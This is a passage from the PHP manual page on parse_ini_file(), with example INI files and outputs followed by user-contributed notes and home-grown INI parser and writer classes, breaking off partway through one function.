; This is a sample configuration file
; Comments start with ';', as in php.ini

[first_section]
one = 1
five = 5
animal = BIRD

[second_section]
path = "/usr/local/bin"
URL = "http://www.example.com/~username"

[third_section]
phpversion[] = "5.0"
phpversion[] = "5.1"
phpversion[] = "5.2"
phpversion[] = "5.3"

Example #2 parse_ini_file() example

Constants may also be parsed in the ini file so if you define a constant as an ini value before running parse_ini_file(), it will be integrated into the results. Only ini values are evaluated. For example:

<?php

define('BIRD', 'Dodo bird');

// Parse without sections
$ini_array = parse_ini_file("sample.ini");
print_r($ini_array);

// Parse with sections
$ini_array = parse_ini_file("sample.ini", true);
print_r($ini_array);

?>

The above example will output something similar to:

Array
(
    [one] => 1
    [five] => 5
    [animal] => Dodo bird
    [path] => /usr/local/bin
    [URL] => http://www.example.com/~username
    [phpversion] => Array
        (
            [0] => 5.0
            [1] => 5.1
            [2] => 5.2
            [3] => 5.3
        )

)
Array
(
    [first_section] => Array
        (
            [one] => 1
            [five] => 5
            [animal] => Dodo bird
        )

    [second_section] => Array
        (
            [path] => /usr/local/bin
            [URL] => http://www.example.com/~username
        )

    [third_section] => Array
        (
            [phpversion] => Array
                (
                    [0] => 5.0
                    [1] => 5.1
                    [2] => 5.2
                    [3] => 5.3
                )

        )

)

Example #3 parse_ini_file() parsing a php.ini file

<?php
// A simple function used for comparing the results below
function yesno($expression)
{
    return($expression ? 'Yes' : 'No');
}

// Get the path to php.ini using the php_ini_loaded_file()
// function available as of PHP 5.2.4
$ini_path = php_ini_loaded_file();

// Parse php.ini
$ini = parse_ini_file($ini_path);

// Print and compare the values, note that using get_cfg_var()
// will give the same results for parsed and loaded here
echo '(parsed) magic_quotes_gpc = ' . yesno($ini['magic_quotes_gpc']) . PHP_EOL;
echo '(loaded) magic_quotes_gpc = ' . yesno(get_cfg_var('magic_quotes_gpc')) . PHP_EOL;
?>

The above example will output something similar to:

(parsed) magic_quotes_gpc = Yes
(loaded) magic_quotes_gpc = Yes

Notes

Note:

This function has nothing to do with the php.ini file. It is already processed by the time you run your script. This function can be used to read in your own application's configuration files.

Note:

If a value in the ini file contains any non-alphanumeric characters it needs to be enclosed in double-quotes (").

Note: There are reserved words which must not be used as keys for ini files. These include: null, yes, no, true, false, on, off, none. Values null, no and false results in "", yes and true results in "1". Characters ?{}|&~![()^" must not be used anywhere in the key and have a special meaning in the value.

See Also

  • parse_ini_string() - Parse a configuration string

User Contributed Notes

jwka at gmx dot net 17-Nov-2011 02:52
Just to give novices a heads up since that can be really time consuming:

BE AWARE of CONSTANTS you defined!

ANY INI value NOT IN QUOTES that matches ANY constant will be replaced by the constant's value while any other unquoted value will be regarded as being a text "as is".

If you want to AVOID REPLACEMENTS, be sure you stringently enclose your strings in quotes!

Remark:
The German examples are (have been?) wrong here. It shows(ed?) that [animal]=BIRD but it will be [animal]=Dodo bird.

Example Extension:
In the example, if the INI file's line would have been:

animal = "BIRD" (notice the quotes)

then [animal] would ALLWAYS equal "BIRD", no matter if a constant BIRD would be defined or not.
jerikojerk 16-Aug-2011 02:51
Please note that despite the changelog telling nothing about it, the parse_ini_file() changed
-> the way it interprets the simple quote (not accepted on my 5.1 php)
-> array index. PHP 5.3 accepts the following but not php 5.1

[section]
param["index"]='value'
param["other index"]='other value'
Alex - webitoria.com 04-Feb-2011 03:56
Constants in ini files are not expanded if they are concatenated with strings quoted with single quotes, they must be in double quotes only to make constants expanded.

Example:

define ('APP_PATH', '/some/path');

mypath = APP_PATH '/config'
// Constant won't be expanded: [mypath] => APP_PATH '/config'

mypath = APP_PATH "/config"
// Constant will be expanded: [mypath] => /some/path/config

Note "." between constant and following string is not used.

Since Zend_Config_Ini is built on parse_ini_file, it inherits this behaviour.
daevid at daevid dot com 10-Nov-2010 07:04
Be warned that this function will not only NOT parse 'null', 'true', 'false', etc. but worse, it converts EVERYTHING to strings and sets 'true' values to "1" and null/'false' values to "".

Here is my test.ini file:

[examples]                                  ; this is a section
                                            ; this is a comment line
log_level = E_ALL & ~E_NOTICE
1 = intkey                                  ; this is a int key
nullvalue = null                            ; this is NULL
truebool = true                             ; this is boolean (TRUE)
falsebool = false                           ; this is boolean (FALSE)
intvalue = -1                               ; this is a integer (-1)
floatvalue = +1.4E-3                        ; this is a float (0.0014)
stringvalue = Hello World                   ; this is a unquoted string
quoted = "Hello World"                      ; this is a quoted string
apostrophed = 'Hello World'                 ; this is a apostrophed string
quoted escaped = "it work's \"fine\"!"      ; this is a quoted string with escaped quotes
apostrophed escaped = 'it work\'s "fine"!'  ; this is a apostrophed string with escaped apostrophes

Here is my test.php page:

<?php
    var_dump(parse_ini_file('./test.ini', true));
?>

Here is the output:

array
  'examples' =>
    array
      'log_level' => string '6135' (length=4)
      1 => string 'intkey' (length=6)
      'nullvalue' => string '' (length=0)
      'truebool' => string '1' (length=1)
      'falsebool' => string '' (length=0)
      'intvalue' => string '-1' (length=2)
      'floatvalue' => string '+1.4E-3' (length=7)
      'stringvalue' => string 'Hello World' (length=11)
      'quoted' => string 'Hello World' (length=11)
      'apostrophed' => string ''Hello World'' (length=13)
      'quoted escaped' => string 'it work's \fine\!' (length=17)
      'apostrophed escaped' => string ''it work\'sfine' (length=15)

verified with PHP 5.2.4 to 5.3.3
Rolf 21-Sep-2010 02:27
As of PHP 5.3, you can escape a double quote like this:

description = "an \" example"

But strangely, this fails when you try to escape two consecutive double quotes:

description = "no \"\" good"

Unless there is something between them (in this example, there is a space character):

description = "this is \" \" ok"
uramihsayibok, gmail, com 16-Sep-2010 01:10
Undocumented feature!

Using ${...} as a value will look to
1) an INI setting, or
2) an environment variable

For example,

<?php

print_r(parse_ini_string('
php_ext_dir = ${extension_dir}
operating_system = ${OS}
'));

?>

Array
(
    [php_ext_dir] => ./ext/
    [operating_system] => Windows_NT
)

Present in PHP 5.3.2, likely in 5.x, maybe even earlier too.
Anonymous 11-Sep-2010 09:42
a ini lexer with regexp:

<?php

@header('Content-Type: text/plain');

$myini = <<<EOT
[examples]                                  ; this is a section
                                            ; this is a comment line
1 = intkey                                  ; this is a int key
nullvalue = null                            ; this is NULL
truebool = true                             ; this is boolean (TRUE)
falsebool = false                           ; this is boolean (FALSE)
intvalue = -1                               ; this is a integer (-1)
floatvalue = +1.4E-3                        ; this is a float (0.0014)
stringvalue = Hello World                   ; this is a unquoted string
quoted = "Hello World"                      ; this is a quoted string
apostrophed = 'Hello World'                 ; this is a apostrophed string
quoted escaped = "it work's \"fine\"!"      ; this is a quoted string with escaped quotes
apostrophed escaped = 'it work\'s "fine"!'  ; this is a apostrophed string with escaped apostrophes

    [[valid special cases]]                 ; this is a section with square brackets and whitespaces at the beginning
quoted multiline = "line1
line2
line3"                                      ; this is a quoted multiline string
apostrophed multiline = "line1
line2
line3"                                      ; this is a apostrophed multiline string
     spaces before key = is ok               ; this line has whitespaces at the beginning
no val =                                    ; this setting has no key
= no key                                    ; this setting has no value
=                                           ; this setting has no key and no value

[bad cases]                                 ; you should never do that but it works
notgood = unquoted"string                   ; this value has a single quote
notgood2 = unapostrophed'string             ; this value has a single apostrophe
bad = "unclosed quotes                      ; this value has unclosed quotes
bad2 = 'unclosed apostrophes                ; this value has unclosed apostrophes

[invalid
section]
invalid setting
EOT;

function get_tokens_from_ini_lexer($data, $verbose = FALSE)
{
    $regexp = '/
    (?<=^|\r\n|\r|\n)
    (?P<line>
        (?:
            (?(?![\t\x20]*;)
                (?P<left_space>[\t\x20]*)
                (?:
                    \[(?P<section>[^;\r\n]+)\]
                    |
                    (?P<setting>
                        (?P<key>
                            [^=;\r\n]+?
                        )?
                        (?P<left_equal_space>[\t\x20]*)
                        (?P<equal_sign>=)
                        (?P<right_equal_space>[\t\x20]*)
                        (?P<val>
                            \x22(?P<quoted>.*?)(?<!\x5C)\x22
                            |
                            \x27(?P<apostrophed>.*?)(?<!\x5C)\x27
                            |
                            (?P<null>null)
                            |
                            (?P<bool>true|false)
                            |
                            (?P<int>[+-]?(?:[1-9]\d{0,18}|0))
                            |
                            (?P<float>(?:[+-]?(?:[1-9]\d*|0))\.\d+(?:E[+-]\d+)?)
                            |
                            (?P<string>[^;\r\n]+?)
                        )?
                    )
                )
            )
            (?P<right_space>[\t\x20]*)
            (?:
                (?P<comment_seperator>;)
                (?P<comment_space>[\t\x20]*)
                (?P<comment>[^\r\n]+?)?
            )?
        )
        |
        (?P<error>
            [^\r\n]+?
        )
    )
    (?=\r\n|\r|\n|$)(?P<crlf>\r\n|\r|\n)?
    |
    (?<=\r\n|\r|\n)(?P<emptyline>\r\n|\r|\n)
    /xsi';

    if(!@is_int(preg_match_all($regexp, $data, $tokens, PREG_SET_ORDER)))
    {
        // parse error
    }
    else
    {
        foreach($tokens as $i => $token)
        {
            if(!$verbose)
            {
                unset($tokens[$i]['line']);
                unset($tokens[$i]['crlf']);
                unset($tokens[$i]['setting']);
                unset($tokens[$i]['equal_sign']);
                unset($tokens[$i]['val']);
                unset($tokens[$i]['left_space']);
                unset($tokens[$i]['left_equal_space']);
                unset($tokens[$i]['right_equal_space']);
                unset($tokens[$i]['right_space']);
                unset($tokens[$i]['comment_seperator']);
                unset($tokens[$i]['comment_space']);
            };

            foreach($token as $key => $val)
            {
                if(!@is_string($key) || !@strlen($val))
                {
                    unset($tokens[$i][$key]);
                };
            };
        };

        return($tokens);
    };
};

$verbose = FALSE;

print_r(get_tokens_from_ini_lexer($myini, $verbose));

?>
pd at frozen-bits dot de 19-Aug-2010 02:21
I use the following syntax to secure my config.ini.php file:

;<?php
;die(); // For further security
;/*

[category]
name="value"

;*/

;?>

Works like a charm and is both: A valid PHP File and a valid ini-File ;)
geggert at web dot de 23-Jul-2010 06:44
As quick an dirty way to gain the security of that *.ini.php-files you may alternatively use this as first line:

; <?php exit(); __halt_compiler();
// the closing tag is just to end up the syntax highlighting ...
// leave these comments and the closing tag away in your ini.php-file!
?>

You can use parse_ini_file() in the normal way and any criminal stranger will only see a ";" then ...
forcestudios.square7.de 15-Jun-2010 12:46
Tip: you cannot parse an ini-file with this safer structure:

<?php exit();
$data="

[section_one]
test = abc

[section_two]
and_so=on

";
?>

(strangers are not able to see this file because php closed the file previously by executing exit();)

But here is a very simple code to prevent this:
<?php

    class iniParser{

        private $IniFile;
        private $SafeFile;
        private $ParseClasses;

        public $KeysWithoutSections;
        public $KeysWithSections;

        public function __construct($FileName, $SafeFile = false){

            $this->IniFile = $FileName;
            $this->SafeFile = $SafeFile;

        }

        public function parseIni($SaveInClass = true){

            $FileHandle = file($this->IniFile);

            $CountLines = count($FileHandle);
            $Counter = 0;

            $NKeys = "";

            if ( $this->SafeFile ){

                $Counter += 2;
                $CountLines -= 2;
            }

            while ( $Counter < $CountLines ){

                $CurLine = $FileHandle[$Counter];

                $CurLineSplit = explode("=", $CurLine);

                $CurKey = $CurLineSplit[0];
                $CurValue = $CurLineSplit[1];
                if( $SaveInClass )
                    $this->Keys[trim($CurKey)] = trim($CurValue);

                else
                    $NKeys[trim($CurKey)] = trim($CurValue);

                $Counter++;
            }

            if( $SaveInClass )
                return $this->KeysWithoutSections;

            else
                return $NKeys;

        }

        public function parseIniWithSections($SaveInClass = true){

            $FileHandle = file($this->IniFile);

            $CountLines = count($FileHandle);
            $Counter = 0;

            $LastSection = "";

            $NKeys = "";

            if ( $this->SafeFile ){

                $CountLines -= 2;
                $Counter += 2;

            }

            while ( $Counter < $CountLines ){

                $CurLine = $FileHandle[$Counter];

                if ( strpos($CurLine, "[") == 1 ){

                    $LastSection = $CurLine;
                    continue;

                }

                $Explosion = explode("=", $CurLine);

                $CurKey = trim($Explosion[0]);
                $CurValue = trim($Explosion[1]);

                if ( $SaveInClass )
                    $this->KeysWithSections[$LastSection][$CurKey] = $CurValue;

                else
                    $NKeys[$LastSection][$CurKey] = $CurValue;

            }

            if ( $SaveInClass )
                return $this->KeysWithSections;

            else
                return $NKeys;

        }

    };

?>

To use this class just try this script here:

<?php

include "iniparser.php" // class above

$SafeIniParser = new iniParser("test.php", true); // file: test.php, safefile.

$Keys = $SafeIniParser->parseIniWithSections(false);

echo $Keys["section_one"]["test"];

?>

i used this file:
<?php exit();
$data="

[section_one]
test = abc

[section_two]
and_so=on

";
?>
Mauro Gabriel Titimoli 19-Jan-2010 03:14
I have recently finished an implementacion of a multiple configuration type class.

<?php
class Configuration {
    const AUTO = 0;
    const JSON = 2;
    const PHP_INI = 4;
    const XML = 16;

    static private $CONF_EXT_RELATION = array(
        'json' => 2, // JSON
        'ini' => 4,  // PHP_INI
        'xml' => 16  // XML
    );

    static private $instances;

    private $data;

    static public function objectToArray($obj) {
        $arr = (is_object($obj))?
            get_object_vars($obj) :
            $obj;

        foreach ($arr as $key => $val) {
            $arr[$key] = ((is_array($val)) || (is_object($val)))?
                self::objectToArray($val) :
                $val;
        }

        return $arr;
    }

    private function __construct($file, $type = Configuration::AUTO) {
        if ($type == self::AUTO) {
            $type = self::$CONF_EXT_RELATION[pathinfo($file, PATHINFO_EXTENSION)];
        }

        switch($type) {
            case self::JSON:
                $this->data = json_decode(file_get_contents($file), true);
                break;

            case self::PHP_INI:
                $this->data = parse_ini_file($file, true);
                break;

            case self::XML:
                $this->data = self::objectToArray(simplexml_load_file($file));
                break;
        }
    }

    static public function & getInstance($file, $type = Configuration::AUTO) {
        if(! isset(self::$instances[$file])) {
            self::$instances[$file] = new Configuration($file, $type);
        }

        return self::$instances[$file];
    }

    public function __get($section) {
        if ((is_array($this->data)) &&
                (array_key_exists($section, $this->data))) {
            return $this->data[$section];
        }
    }

    public function getAvailableSections() {
        return array_keys($this->data);
    }
}

$configuration = Configuration::getInstance(/*configuration filename*/);
foreach($configuration->getAvailableSections() as $pos => $sectionName) {
    var_dump($sectionName);
    var_dump($configuration->{$sectionName});
}
?>
freamer89 at gmail dot com 03-Nov-2009 08:38
Didn`t find the one,which suits my needs,so Here`s a small and easy write ini from array function... Maybe you`ll find it handy.
<?php
function write_php_ini($array, $file)
{
    $res = array();
    foreach($array as $key => $val)
    {
        if(is_array($val))
        {
            $res[] = "[$key]";
            foreach($val as $skey => $sval) $res[] = "$skey = ".(is_numeric($sval) ? $sval : '"'.$sval.'"');
        }
        else $res[] = "$key = ".(is_numeric($val) ? $val : '"'.$val.'"');
    }
    safefilerewrite($file, implode("\r\n", $res));
}
//////
function safefilerewrite($fileName, $dataToSave)
{    if ($fp = fopen($fileName, 'w'))
    {
        $startTime = microtime();
        do
        {            $canWrite = flock($fp, LOCK_EX);
           // If lock not obtained sleep for 0 - 100 milliseconds, to avoid collision and CPU load
           if(!$canWrite) usleep(round(rand(0, 100)*1000));
        } while ((!$canWrite)and((microtime()-$startTime) < 1000));

        //file was locked so now we can store information
        if ($canWrite)
        {            fwrite($fp, $dataToSave);
            flock($fp, LOCK_UN);
        }
        fclose($fp);
    }

}
?>
prometheus 30-Sep-2009 09:32
I made a small test to check differencies between parse_ini_file and json_decode and I surprised a little bit.

Here are my test files...
parseini-test.ini:
[global]
a = 1
b = 2
c = "Lorem Ipsum"
d = "Dolor Sit Amet"
e = 3.14

jsondecode-test.json:
{
    "a": 1,
    "b": 2,
    "c": "Lorem Ipsum",
    "d": "Dolor Sit Amet",
    "e": 3.14
}

And source codes are...
parseini.php:
<?php

$s = microtime(TRUE);
for ($i=0; $i<100000; $i++)
{
$a = parse_ini_file('./parseini-test.ini');
unset($a);
}
$e = microtime(TRUE);
echo $e-$s;

?>

jsondecode.php:
<?php

$s = microtime(TRUE);
for ($i=0; $i<100000; $i++)
{
$a = json_decode(file_get_contents('./jsondecode-test.json'), TRUE);
unset($a);
}
$e = microtime(TRUE);
echo $e-$s;

?>

These tests ran for three times (the third result is near to average in my experiences):
- parseini.php: 3.24759721756
- jsondecode.php: 3.289290905

My conclusion:
I`m going to use the json_decode() for reading config files because no significant difference in running time between parse_ini_file() and json_decode() + file_get_contents() but JSON is a more powerful format for storing well typed (parse_ini_file parses 3.14 as string, json_decode as float) and well structured configuration settings. As a note: json_decode is sensitive for associative keys` quotation, use quotes at all time in keys` names.

Test ran on PHP 5.2.
flacroix897 at hotmail dot com 25-Aug-2009 10:23
Make sure you use double-quotes when using spaces in a value as of 5.3.

Consider the following INI file:

   key = tested on php5

with the following code:

   $res = parse_ini_file('myini.ini');
   var_dump($res);

In 5.2, this will give you:

   array(1) {
     ["key"]=>
     string(14) "tested on php5"
   }

In 5.3, this will give you:

   Warning: syntax error, unexpected BOOL_TRUE in Unknown on line 1 in test.php on line 3
   bool(false)

This is because the 'on' word is a reserved keyword for boolean TRUE. The documentation now states that a string that contains any non-alphanumeric character should be enclosed in double-quotes (a space is not alphanumeric).
rmcleod79 [at] talktalk ~dot~ net 08-Jul-2009 01:40
Here's a simple settings class that parses an ini file for settings. It has a private constructor so that it can only be instantiated through the getInstance method, this means that there can only ever be one settings object at a time.

<?php

class Settings {
    private static $instance;
    private $settings;

    private function __construct($ini_file) {
        $this->settings = parse_ini_file($ini_file, true);
    }

    public static function getInstance($ini_file) {
        if(! isset(self::$instance)) {
            self::$instance = new Settings($ini_file);
        }
        return self::$instance;
    }

    public function __get($setting) {
        if(array_key_exists($setting, $this->settings)) {
            return $this->settings[$setting];
        } else {
            foreach($this->settings as $section) {
                if(array_key_exists($setting, $section)) {
                    return $section[$setting];
                }
            }
        }
    }
}

?>

settings.ini

[General]

url = "http://www.example.com"

[Database]

host = localhost
username = user
password = password
db = cms
adapter = mysqli

Using the class

<?php

$settings = Settings::getInstance(/*path to settings.ini*/);

echo $settings->url;

print_r($settings->Database);

echo $settings->db;

?>

Output would be:

http://www.example.com

Array
(
    [host] => localhost
    [username] => user
    [password] => password
    [db] => cms
    [adapter] => mysqli
)

cms
joe at u13 dot net 20-Jun-2009 12:46
I'm not sure why, but for some reason php's ini functions always leave out entries for me.

To solve this problem, I wrote my own ini parsing function, intended to be a replacement for parse_ini_file('file.ini', true);

<?php

function new_parse_ini($f)
{

    // if cannot open file, return false
    if (!is_file($f))
        return false;

    $ini = file($f);

    // to hold the categories, and within them the entries
    $cats = array();

    foreach ($ini as $i) {
        if (@preg_match('/\[(.+)\]/', $i, $matches)) {
            $last = $matches[1];
        } elseif (@preg_match('/(.+)=(.+)/', $i, $matches)) {
            $cats[$last][$matches[1]] = $matches[2];
        }
    }

    return $cats;

}

?>

The usage follows the Example #2 on http://us3.php.net/manual/en/function.parse-ini-file.php , except without the second parameter being 'true'.
jeremygiberson at gmail dot com 30-Apr-2009 04:01
Here is a quick parse_ini_file wrapper to add extend support to save typing and redundancy.
<?php
    /**
     * Parses INI file adding extends functionality via ":base" postfix on namespace.
     *
     * @param string $filename
     * @return array
     */
    function parse_ini_file_extended($filename) {
        $p_ini = parse_ini_file($filename, true);
        $config = array();
        foreach($p_ini as $namespace => $properties){
            list($name, $extends) = explode(':', $namespace);
            $name = trim($name);
            $extends = trim($extends);
            // create namespace if necessary
            if(!isset($config[$name])) $config[$name] = array();
            // inherit base namespace
            if(isset($p_ini[$extends])){
                foreach($p_ini[$extends] as $prop => $val)
                    $config[$name][$prop] = $val;
            }
            // overwrite / set current namespace values
            foreach($properties as $prop => $val)
            $config[$name][$prop] = $val;
        }
        return $config;
    }
?>

Treats this ini:
<?php
/*
[base]
host=localhost
user=testuser
pass=testpass
database=default

[users:base]
database=users

[archive : base]
database=archive
*/
?>
As if it were like this:
<?php
/*
[base]
host=localhost
user=testuser
pass=testpass
database=default

[users:base]
host=localhost
user=testuser
pass=testpass
database=users

[archive : base]
host=localhost
user=testuser
pass=testpass
database=archive
*/
?>
prikkeldraad at gmail dot com 26-Mar-2009 06:15
When PHP dies without any warning or message when parsing the ini-file, check the values of the file. All non alphanumeric values need to be quoted.
pBakhuis at googles mail dot com (gmail) 12-Dec-2008 08:42
To those who were like me looking if this could be used to create an array out of commandline output I offer you the function below (I used it to parse mplayer output).

If you want it behave exactly the same as parse_ini_file you'll obviously have to add some code to feed the different sections to this one. Hope it's of help to someone!

<?php
/**
 * The return is very similar to that of parse_ini_file, but this works off files
 *
 * Below is an example of what it does, where the first
 * value is what you'd normally want to do, and the second and third things that might
 * happen and in case it does it's good to know what is going on.
 *
 * $anArray = array( 'default=theValue', 'setting=', 'something=value=value' );
 * explodeExplode( '=', $anArray );
 *
 * the return will be
 * array( 'default' => 'theValue', 'setting' => '', 'something' => 'value=value' );
 *
 * So the oddities here are, text after the second $string occurence dissapearing
 * and empty values resulting in an empty string.
 *
 * @return $returnArray array array( 'setting' => 'value' )
 * @param $string Object
 * @param $array Object
 */
function explodeExplode( $string, $array )
{
    $returnArray = array();

    foreach( $array as $arrayValue )
    {
        $tmpArray = explode( $string, $arrayValue );

        if( count( $tmpArray ) == 1 )
        {
            $returnArray[$tmpArray[0]] = '';
        }
        else if( count( $tmpArray ) == 2 )
        {
            $returnArray[$tmpArray[0]] = $tmpArray[1];
        }
        else if( count( $tmpArray ) > 2 )
        {
            $implodeBack = array();
            $firstLoop      = true;
            foreach( $tmpArray as $tmpValue )
            {
                if( $firstLoop )
                {
                    $firstLoop = false;
                }
                else
                {
                    $implodeBack[] = $tmpValue;
                }
            }
            print_r( $implodeBack );
            $returnArray[$tmpArray[0]] = implode( '=', $implodeBack );
        }
    }

    return $returnArray;
}
?>
Bill Brown - macnimble.com 16-Oct-2008 07:47
Working on a project for a client recently, I needed a way to set a default configuration INI file, but also wanted to allow the client to override the settings through the use of a custom INI file.

I thought array_merge or array_merge_recursive would do the trick for me, but it fails to override settings in the way that I wanted. I wrote my own function to do what I wanted. It's nothing spectacular, but thought I'd post it here in case it saved someone else some time.

<?php
function ini_merge ($config_ini, $custom_ini) {
  foreach ($custom_ini AS $k => $v):
    if (is_array($v)):
      $config_ini[$k] = ini_merge($config_ini[$k], $custom_ini[$k]);
    else:
      $config_ini[$k] = $v;
    endif;
  endforeach;
  return $config_ini;
};
$CONFIG_INI = parse_ini_file('../config.ini', TRUE);
$CUSTOM_INI = parse_ini_file('ini/custom.ini', TRUE);
$INI = ini_merge($CONFIG_INI, $CUSTOM_INI);
?>

This allowed me to put the default INI file above the web root with information that requires extra security (database connection info, etc.) and a writable INI file within the structure of the site without affecting the default settings of the default config.ini file.

Anyway, hope it helps.
david dot dyess at gmail dot com 04-Aug-2008 12:12
Here is another way to group values in the ini:

my.ini:

[singles]
test = a test
test2 = another test
test3 = this is a test too

[multiples]
tests[] = a test
tests[] = another test
tests[] = this is a test too

my.php:

<?php $init = parse_ini_file('my.ini'); ?>

The same as:

<?php
$init['test'] = 'a test';
$init['test2'] = 'another test';
$init['test3'] = 'this is a test too';
$init['tests'][0] = 'a test';
$init['tests'][1] = 'another test';
$init['tests'][2] = 'this is a test too';
?>

This works with the bool set to true also, can be useful with loops. Works with the bool set to true as well.
juampii_4 at hotmail dot com 09-Jul-2008 08:24
class.parseini.php
<?php
##By juan pablo tosso
class Parser
{

    public function printini($file, $sector, $var)
    {
        $file=$file.".ini";
        $is=array();
        $is= parse_ini_file($file, true);
        trim($is);
        if(is_array($is) && file_exists($file))
        {
            return $is[$sector][$var];
        }else{
            return "error";
        }

    }

}

?>

Ini.ini:
[test]
foo=bar

[test2]
foo1=bar1
foo2=bar2
foo bar=something else

just in another file write:

include("class.parseini.php");
$new= new Parser();
echo $new->printini("ini", "test2", "foo1");
goulven.ch AT gmail DOT com 29-Oct-2007 06:33
Warning: parse_ini_files cannot cope with values containing the equal sign (=).

The following function supports sections, comments, arrays, and key-value pairs outside of any section.
Beware that similar keys will overwrite one another (unless in different sections).

<?php
function parse_ini ( $filepath ) {
    $ini = file( $filepath );
    if ( count( $ini ) == 0 ) { return array(); }
    $sections = array();
    $values = array();
    $globals = array();
    $i = 0;
    foreach( $ini as $line ){
        $line = trim( $line );
        // Comments
        if ( $line == '' || $line{0} == ';' ) { continue; }
        // Sections
        if ( $line{0} == '[' ) {
            $sections[] = substr( $line, 1, -1 );
            $i++;
            continue;
        }
        // Key-value pair
        list( $key, $value ) = explode( '=', $line, 2 );
        $key = trim( $key );
        $value = trim( $value );
        if ( $i == 0 ) {
            // Array values
            if ( substr( $line, -1, 2 ) == '[]' ) {
                $globals[ $key ][] = $value;
            } else {
                $globals[ $key ] = $value;
            }
        } else {
            // Array values
            if ( substr( $line, -1, 2 ) == '[]' ) {
                $values[ $i - 1 ][ $key ][] = $value;
            } else {
                $values[ $i - 1 ][ $key ] = $value;
            }
        }
    }
    for( $j=0; $j<$i; $j++ ) {
        $result[ $sections[ $j ] ] = $values[ $j ];
    }
    return $result + $globals;
}
?>

Example usage:
<?php
$stores = parse_ini('stores.ini');
print_r( $stores );
?>

An example ini file:
<?php
/*
;Commented line start with ';'
global_value1 = a string value
global_value1 = another string value

; empty lines are discarded
[Section1]
key = value
; whitespace around keys and values is discarded too
otherkey=other value
otherkey=yet another value
; this key-value pair will overwrite the former.
*/
?>
www.onphp5.com 24-Oct-2007 01:26
Looks like in PHP 5.3.0 special characters like \n are extrapolated into real newlines. Gotta use \\n.
arnapou 03-Oct-2007 06:51
I didn't find a simple ini class so I wrote that class to read and write ini files.
I hope it could help you.

Read file : $ini = INI::read('myfile.ini');
Write file : INI::write('myfile.ini', $ini);

Features :
- support [] syntax for arrays
- support . in keys like bar.foo.something = value
- true and false string are automatically converted in booleans
- integers strings are automatically converted in integers
- keys are sorted when writing
- constants are replaced but they should be written in the ini file between braces : {MYCONSTANT}

<?php

class INI {
    /**
     *  WRITE
     */
    static function write($filename, $ini) {
        $string = '';
        foreach(array_keys($ini) as $key) {
            $string .= '['.$key."]\n";
            $string .= INI::write_get_string($ini[$key], '')."\n";
        }
        file_put_contents($filename, $string);
    }
    /**
     *  write get string
     */
    static function write_get_string(& $ini, $prefix) {
        $string = '';
        ksort($ini);
        foreach($ini as $key => $val) {
            if (is_array($val)) {
                $string .= INI::write_get_string($ini[$key], $prefix.$key.'.');
            } else {
                $string .= $prefix.$key.' = '.str_replace("\n", "\\\n", INI::set_value($val))."\n";
            }
        }
        return $string;
    }
    /**
     *  manage keys
     */
    static function set_value($val) {
        if ($val === true) { return 'true'; }
        else if ($val === false) { return 'false'; }
        return $val;
    }
    /**
     *  READ
     */
    static function read($filename) {
        $ini = array();
        $lines = file($filename);
        $section = 'default';
        $multi = '';
        foreach($lines as $line) {
            if (substr($line, 0, 1) !== ';') {
                $line = str_replace("\r", "", str_replace("\n", "", $line));
                if (preg_match('/^\[(.*)\]/', $line, $m)) {
                    $section = $m[1];
                } else if ($multi === '' && preg_match('/^([a-z0-9_.\[\]-]+)\s*=\s*(.*)$/i', $line, $m)) {
                    $key = $m[1];
                    $val = $m[2];
                    if (substr($val, -1) !== "\\") {
                        $val = trim($val);
                        INI::manage_keys($ini[$section], $key, $val);
                        $multi = '';
                    } else {
                        $multi = substr($val, 0, -1)."\n";
                    }
                } else if ($multi !== '') {
                    if (substr($line, -1) === "\\") {
                        $multi .= substr($line, 0, -1)."\n";
                    } else {
                        INI::manage_keys($ini[$section], $key, $multi.$line);
                        $multi = '';
                    }
                }
            }
        }

        $buf = get_defined_constants(true);
        $consts = array();
        foreach($buf['user'] as $key => $val) {
            $consts['{'.$key.'}'] = $val;
        }
        array_walk_recursive($ini, array('INI', 'replace_consts'), $consts);
        return $ini;
    }
    /**
     *  manage keys
     */
    static function get_value($val) {
        if (preg_match('/^-?[0-9]$/i', $val)) { return intval($val); }
        else if (strtolower($val) === 'true') { return true; }
        else if (strtolower($val) === 'false') { return false; }
        else if (preg_match('/^"(.*)"$/i', $val, $m)) { return $m[1]; }
        else if (preg_match('/^\'(.*)\'$/i', $val, $m)) { return $m[1]; }
        return $val;
    }
    /**
     *  manage keys
     */
    static function get_key($val) {
        if (preg_match('/^[0-9]$/i', $val)) { return intval($val); }
        return $val;
    }
    /**
     *  manage keys
     */
    static function manage_keys(& $ini, $key, $val) {
        if (preg_match('/^([a-z0-9_-]+)\.(.*)$/i', $key, $m)) {
            INI::manage_keys($ini[$m[1]], $m[2], $val);
        } else if (preg_match('/^([a-z0-9_-]+)\[(.*)\]$/i', $key, $m)) {
            if ($m[2] !== '') {
                $ini[$m[1]][INI::get_key($m[2])] = INI::get_value($val);
            } else {
                $ini[$m[1]][] = INI::get_value($val);
            }
        } else {
            $ini[INI::get_key($key)] = INI::get_value($val);
        }
    }
    /**
     *  replace utility
     */
    static function replace_consts(& $item, $key, $consts) {
        if (is_string($item)) {
            $item = strtr($item, $consts);
        }
    }
}

?>
thuylnt 26-Sep-2007 02:09
I need to read a ini file, modify some values in some sections, and save it. But the important thing is, i want to keep all the comments, the new lines in the right order. So i modified function parse_ini_file_quotes_safe and write_ini_file.
I think they work fine.

<?php
    function read_ini_file($f, &$r)
    {
        $null = "";
        $r=$null;
        $first_char = "";
        $sec=$null;
        $comment_chars=";#";
        $num_comments = "0";
        $num_newline = "0";

        //Read to end of file with the newlines still attached into $f
        $f = @file($f);
        if ($f === false) {
            return -2;
        }
        // Process all lines from 0 to count($f)
        for ($i=0; $i<@count($f); $i++)
        {
            $w=@trim($f[$i]);
            $first_char = @substr($w,0,1);
            if ($w)
            {
                if ((@substr($w,0,1)=="[") and (@substr($w,-1,1))=="]") {
                    $sec=@substr($w,1,@strlen($w)-2);
                    $num_comments = 0;
                    $num_newline = 0;
                }
                else if ((stristr($comment_chars, $first_char) == true)) {
                    $r[$sec]["Comment_".$num_comments]=$w;
                    $num_comments = $num_comments +1;
                }
                else {
                    // Look for the = char to allow us to split the section into key and value
                    $w=@explode("=",$w);
                    $k=@trim($w[0]);
                    unset($w[0]);
                    $v=@trim(@implode("=",$w));
                    // look for the new lines
                    if ((@substr($v,0,1)=="\"") and (@substr($v,-1,1)=="\"")) {
                        $v=@substr($v,1,@strlen($v)-2);
                    }

                    $r[$sec][$k]=$v;

                }
            }
            else {
                $r[$sec]["Newline_".$num_newline]=$w;
